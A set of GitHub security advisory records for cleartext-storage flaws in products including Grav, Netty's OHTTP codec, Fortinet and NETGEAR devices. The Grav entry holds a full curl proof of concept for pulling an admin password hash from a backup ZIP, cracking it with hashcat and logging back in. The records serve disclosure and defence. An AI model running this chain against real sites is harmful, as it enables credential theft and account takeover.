CWE-312

{
  "affected": [],
  "aliases": [
    "CVE-2025-36105"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312",
      "CWE-526"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T16:50:21Z",
    "severity": "MODERATE"
  },
  "details": "IBM Planning Analytics Advanced Certified Containers 3.1.0 through 3.1.4 could allow a local privileged user to obtain sensitive information from environment variables.",
  "id": "GHSA-25rf-wfp7-mv9x",
  "modified": "2026-03-10T18:31:16Z",
  "published": "2026-03-10T18:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36105"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7262806"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-3935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-11T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Secom Co. Dr.ID, a Door Access Control and Personnel Attendance Management system, stores users\u2019 information by cleartext in the cookie, which divulges password to attackers.",
  "id": "GHSA-28fq-p2c7-42px",
  "modified": "2022-05-24T22:28:03Z",
  "published": "2022-05-24T22:28:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3935"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/chtsecurity/4db471b34c3959e5ab9ec31570e4760b"
    },
    {
      "type": "WEB",
      "url": "https://tvn.twcert.org.tw/taiwanvn/TVN-201910018"
    },
    {
      "type": "WEB",
      "url": "https://www.chtsecurity.com/news/1bb85fcd-9048-4587-b4d3-b18335572bac"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-3319-d7b65-2.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-39379"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-04T10:15:09Z",
    "severity": "HIGH"
  },
  "details": "Fujitsu Software Infrastructure Manager (ISM) stores sensitive information at the product\u0027s maintenance data (ismsnap) in cleartext form. As a result, the password for the proxy server that is configured in ISM may be retrieved. Affected products and versions are as follows: Fujitsu Software Infrastructure Manager Advanced Edition V2.8.0.060, Fujitsu Software Infrastructure Manager Advanced Edition for PRIMEFLEX V2.8.0.060, and Fujitsu Software Infrastructure Manager Essential Edition V2.8.0.060.\n",
  "id": "GHSA-28jw-278j-42f5",
  "modified": "2024-04-04T06:33:46Z",
  "published": "2023-08-04T12:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39379"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN38847224"
    },
    {
      "type": "WEB",
      "url": "https://support.ts.fujitsu.com/IndexProdSecurity.asp?lng=en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-31821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-19T06:15:00Z",
    "severity": "MODERATE"
  },
  "details": "When the Windows Tentacle docker image starts up it logs all the commands that it runs along with the arguments, which writes the Octopus Server API key in plaintext. This does not affect the Linux Docker image",
  "id": "GHSA-2986-5hcf-cm8g",
  "modified": "2022-01-27T00:03:36Z",
  "published": "2022-01-20T00:01:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31821"
    },
    {
      "type": "WEB",
      "url": "https://advisories.octopus.com/post/2022/sa2022-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.53"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55885"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:31:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including `user/accounts/admin.yaml` with the admin\u0027s bcrypt password hash and email, plus `user/config/` with all site configuration. The download endpoint requires only the session-static `admin-nonce` in the URL, no additional form-level CSRF token, and reveals the server\u0027s full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on `http://{Grav_URL}/admin`, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.\n\n### Details\nThe vulnerability chain spans three components in the deployed Grav source tree at `/var/www/html/grav/`:\n\n**1. Backup archive scope \u2014 `Backups::backup()`**  \n`/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272`\n\nThe `backup()` static method creates a ZIP of the directory specified by the backup profile\u0027s `root` property. The default profile (ID `0`, named `default_site_backup`) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:\n\n```php\n// Backups.php:225\n$backup_root = rtrim(GRAV_ROOT . $backup-\u003eroot, DS) ?: DS;\n```\n\nSince the default profile ships with no `root` override, `$backup-\u003eroot` is empty, making `$backup_root` equal to `GRAV_ROOT` \u2014 i.e. `/var/www/html/grav/`. The archive therefore captures the entire installation including:\n\n- `/var/www/html/grav/user/accounts/` \u2014 admin password hash, email, full name, granular permissions\n- `/var/www/html/grav/user/config/` \u2014 system settings, potentially email SMTP credentials\n\nThe `exclude_files` and `exclude_paths` options on lines 232-235 are empty by default and offer no protection against including account files.\n\n**2. Backup download handler \u2014 `AdminController::taskBackup()`**  \n`/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573`\n\nAfter creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:\n\n```php\n// AdminController.php:558-560\n$download = urlencode(base64_encode($backup));\n$url = rtrim(...) . \u0027/task\u0027 . $param_sep . \u0027backup/download\u0027 . $param_sep\n       . $download . \u0027/admin-nonce\u0027 . $param_sep . Utils::getNonce(\u0027admin-form\u0027);\n```\n\nThe download handler (lines 532-541) decodes the path, locates the file via the `backup://` stream, and serves it with `Utils::download($file, true)`. It performs only two checks: the filename must end in `.zip` and the file must actually exist. It does **not** verify the file belongs to the requesting user, does **not** enforce a form-level nonce, and does **not** tie the download to a specific session.\n\n**3. Nonce validation \u2014 permissive**  \nThe backup route is protected only by the `admin-nonce` parameter appended to the URL path. This nonce is session-static and shared across every admin page. No `form-nonce` is required \u2014 unlike page saves or configuration changes which demand both `admin-nonce` and `form-nonce`. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.\n\n### PoC\n**Prerequisites:** Admin session with valid `admin-nonce`.\n\n**Step 1 \u2014 Authenticate and extract the session-static nonces:**\n```bash\n# Get login page, extract login-nonce, authenticate\nNONCE=$(curl -s -c /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP \u0027name=\"login-nonce\" value=\"\\K[^\"]+\u0027)\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=Passw0rd123!\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n\n# Extract the admin-nonce (same value on every admin page)\nADMIN_NONCE=$(curl -s -b /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP \u0027admin-nonce[:=]\\K[a-f0-9]+\u0027 | head -1)\necho \"Admin nonce: $ADMIN_NONCE\"   # e.g. 68d6b108bc1398028365fb35ea760baf\n```\n\n**Step 2 \u2014 Trigger a backup (single GET, no form-nonce needed):**\n```bash\ncurl -s -b /tmp/jar \\\n  \"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}\"\n```\n\nResponse:\n```json\n{\n  \"status\": \"success\",\n  \"message\": \"Your backup is ready for download. \u003ca href=\\\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\\\" class=\\\"button\\\"\u003eDownload backup\u003c/a\u003e\"\n}\n```\n\n**Step 3 \u2014 Extract the Base64 download token and fetch the ZIP:**\n```bash\n# The download path is base64(\"/var/www/html/grav/backup/default_site_backup--20260616122449.zip\")\n# This reveals the full server filesystem path.\ncurl -s -b /tmp/jar -o /tmp/backup.zip \\\n  \"http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}\"\n```\n\n**Step 4 \u2014 Extract the password hash from the ZIP:**\n```bash\nunzip -p /tmp/backup.zip \"user/accounts/admin.yaml\"\n```\n\nOutput:\n```yaml\nstate: enabled\nemail: admin@grav.com\nfullname: \u0027Grav Admin\u0027\ntitle: Administrator\naccess:\n  admin:\n    login: true\n    super: true\n  site:\n    login: true\nhashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\n```\n\n**Step 5 \u2014 Crack the bcrypt hash offline:**\n```bash\necho \u0027$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\u0027 \u003e hash.txt\nhashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt\n```\n\n**Step 6 \u2014 Log in with the cracked password (no rate limit):**\n```bash\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=\u003ccracked_password\u003e\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n```\n\n### Impact\n- **Type:** Authenticated sensitive data exposure enabling offline credential theft\n- **Attack surface:** Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)\n- **Exposed data:** Admin username, email, full name, granular permission structure, bcrypt password hash (`$2y$12$...`), and full site configuration from `user/config/`\n- **Downstream risk:** Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes\n- **Server path leakage:** The Base64-encoded download token reveals the absolute filesystem path `/var/www/html/grav/backup/` \u2014 information critical for LFI, file-write, and path traversal attacks",
  "id": "GHSA-2f86-9cp8-6hcf",
  "modified": "2026-06-18T14:31:13Z",
  "published": "2026-06-18T14:31:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav: Admin Backup Zip File Exposes Account Credentials and Configuration Secrets"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-32842"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-17T22:16:15Z",
    "severity": "HIGH"
  },
  "details": "Edimax GS-5008PL firmware version 1.00.54 and prior contain an insecure credential storage vulnerability that allows attackers to obtain administrator credentials by accessing configuration backup files. Attackers can download the config.bin file through fupload.cgi to extract plaintext username and password fields for unauthorized administrative access.",
  "id": "GHSA-2f9j-ff2q-8qmx",
  "modified": "2026-03-18T00:30:54Z",
  "published": "2026-03-18T00:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32842"
    },
    {
      "type": "WEB",
      "url": "https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/us/smb_legacy_switches/gs-5008pl"
    },
    {
      "type": "WEB",
      "url": "https://www.edimax.com/edimax/merchandise/merchandise_list/data/edimax/us/smb_legacy_products"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/edimax-gs-5008pl-admin-credentials-stored-in-cleartext"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-27370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T02:15:15Z",
    "severity": "MODERATE"
  },
  "details": "NETGEAR RAX30 Device Configuration Cleartext Storage Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of NETGEAR RAX30 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the handling of device configuration. The issue results from the storage of configuration secrets in plaintext. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-19841.",
  "id": "GHSA-2g83-cg5q-4fmj",
  "modified": "2024-05-03T03:30:49Z",
  "published": "2024-05-03T03:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27370"
    },
    {
      "type": "WEB",
      "url": "https://kb.netgear.com/000065619/Security-Advisory-for-Multiple-Vulnerabilities-on-the-RAX30-PSV-2022-0348"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-501"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-55717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T18:17:58Z",
    "severity": "MODERATE"
  },
  "details": "A cleartext storage of sensitive information vulnerability [CWE-312] vulnerability in Fortinet FortiMail 7.6.0 through 7.6.2, FortiMail 7.4.0 through 7.4.4, FortiMail 7.2.0 through 7.2.7, FortiMail 7.0.0 through 7.0.8, FortiRecorder 7.2.0 through 7.2.3, FortiRecorder 7.0 all versions, FortiRecorder 6.4 all versions, FortiVoice 7.2.0, FortiVoice 7.0.0 through 7.0.6 may allow an authenticated malicious administrator to obtain user\u0027s secrets via CLI commands. Practical exploitability is limited by conditions out of the control of the attacker: An admin must log in to the targeted device.",
  "id": "GHSA-2h2g-hg5x-83g2",
  "modified": "2026-03-10T18:31:18Z",
  "published": "2026-03-10T18:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55717"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-080"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-40750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T20:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Linksys Velop Pro 6E 1.0.8 MX6200_1.0.8.215731 and 7 1.0.10.215314 devices send cleartext Wi-Fi passwords over the public Internet during app-based installation.",
  "id": "GHSA-2jrh-c5mc-7j55",
  "modified": "2024-11-22T21:32:11Z",
  "published": "2024-07-09T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40750"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=40917312"
    },
    {
      "type": "WEB",
      "url": "https://stackdiary.com/linksys-velop-routers-send-wi-fi-passwords-in-plaintext-to-us-servers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.22.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty.incubator:netty-incubator-codec-ohttp-hpke-classes-boringssl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.23.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-312",
      "CWE-532"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T18:43:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`io.netty.incubator:netty-incubator-codec-ohttp-hpke-classes-boringssl` exposes raw HPKE private key bytes in string representations and error messages. `BoringSSLAsymmetricCipherKeyPair.toString()` includes the private-key parameter object, and `BoringSSLAsymmetricKeyParameter.toString()` renders the full byte array with `Arrays.toString(bytes)`. Separately, failed native key initialization includes `Arrays.toString(privateKeyBytes)` in the thrown `IllegalArgumentException` message. Applications that log key-pair objects or exceptions can persist private key material in logs.\n\n## Details\n\n`codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricCipherKeyPair.java` renders private key material through `toString()`:\n\n- `BoringSSLAsymmetricCipherKeyPair.toString()` at lines 72-78 concatenates `\"privateKey=\" + privateKey`.\n- `privateKey` is a `BoringSSLAsymmetricKeyParameter` created with `isPrivate=true` at lines 26-36.\n\n`codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricKeyParameter.java` then renders all bytes:\n\n- `BoringSSLAsymmetricKeyParameter.toString()` at lines 70-76 returns `\"bytes=\" + Arrays.toString(bytes)` regardless of whether `isPrivate` is true.\n\nA separate error path in `codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSL.java` also exposes caller-provided private key bytes:\n\n- `EVP_HPKE_KEY_init_or_throw(...)` at lines 228-232 throws `IllegalArgumentException(\"privateKeyBytes does not contain a valid private key: \" + Arrays.toString(privateKeyBytes))` when BoringSSL rejects the key.\n\nBecause Java logging frameworks commonly call `toString()` for structured objects and commonly persist exception messages, these paths can place complete HPKE private key material in logs or telemetry.\n\n## Proof of concept\n\nSafe local verification was performed without native BoringSSL by compiling the relevant Java classes and a no-op native stub for the unused finalizer reference. The observed output includes the full private key byte array:\n\n```text\nBoringSSLAsymmetricCipherKeyPair{privateKey=BoringSSLAsymmetricKeyParameter{bytes=[1, 2, 3, 4], isPrivate=true}, publicKey=BoringSSLAsymmetricKeyParameter{bytes=[5, 6, 7, 8], isPrivate=false}}\n```\n\nMinimal reproducer concept in the same package:\n\n```java\npackage io.netty.incubator.codec.hpke.boringssl;\n\npublic final class VerifyPrivateKeyToString {\n  public static void main(String[] args) {\n    byte[] privateKey = new byte[] {1, 2, 3, 4};\n    byte[] publicKey = new byte[] {5, 6, 7, 8};\n    BoringSSLAsymmetricCipherKeyPair pair = new BoringSSLAsymmetricCipherKeyPair(privateKey, publicKey);\n    System.out.println(pair.toString());\n  }\n}\n```\n\nThe code path is deterministic: the production `toString()` methods concatenate the raw private-key byte array.\n\n## Impact\n\nIf an affected key pair or initialization exception is logged, application logs contain complete HPKE private key material. Anyone with access to those logs can recover the key. Depending on key reuse and log retention, this can compromise:\n\n- confidentiality of OHTTP messages encrypted to the exposed key;\n- integrity/authenticity expectations for future messages if the key remains active;\n- incident response and key rotation assumptions, because logs may retain key material long after the in-memory key is rotated.\n\n## Suggested remediation\n\n- Redact private key material in `BoringSSLAsymmetricKeyParameter.toString()` when `isPrivate` is true, for example `bytes=\u003credacted\u003e` or only key type/length.\n- Redact `privateKey` in `BoringSSLAsymmetricCipherKeyPair.toString()`.\n- Remove `Arrays.toString(privateKeyBytes)` from `BoringSSL.EVP_HPKE_KEY_init_or_throw(...)`; report only length and KEM metadata.\n- Add regression tests asserting that `toString()` and exception messages do not contain private key byte values.\n- Consider making key pair classes avoid implementing detailed `toString()` for sensitive material entirely.\n\n## References\n\n- `codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricCipherKeyPair.java:72-78`\n- `codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricKeyParameter.java:70-76`\n- `codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSL.java:228-232`",
  "id": "GHSA-2mc4-j865-9q4r",
  "modified": "2026-08-20T18:43:18Z",
  "published": "2026-08-20T18:43:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp/security/advisories/GHSA-2mc4-j865-9q4r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp/releases/tag/netty-incubator-codec-parent-ohttp-0.0.23.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "netty-incubator-codec-ohttp: BoringSSL HPKE private key bytes exposed through toString() and exception messages"
}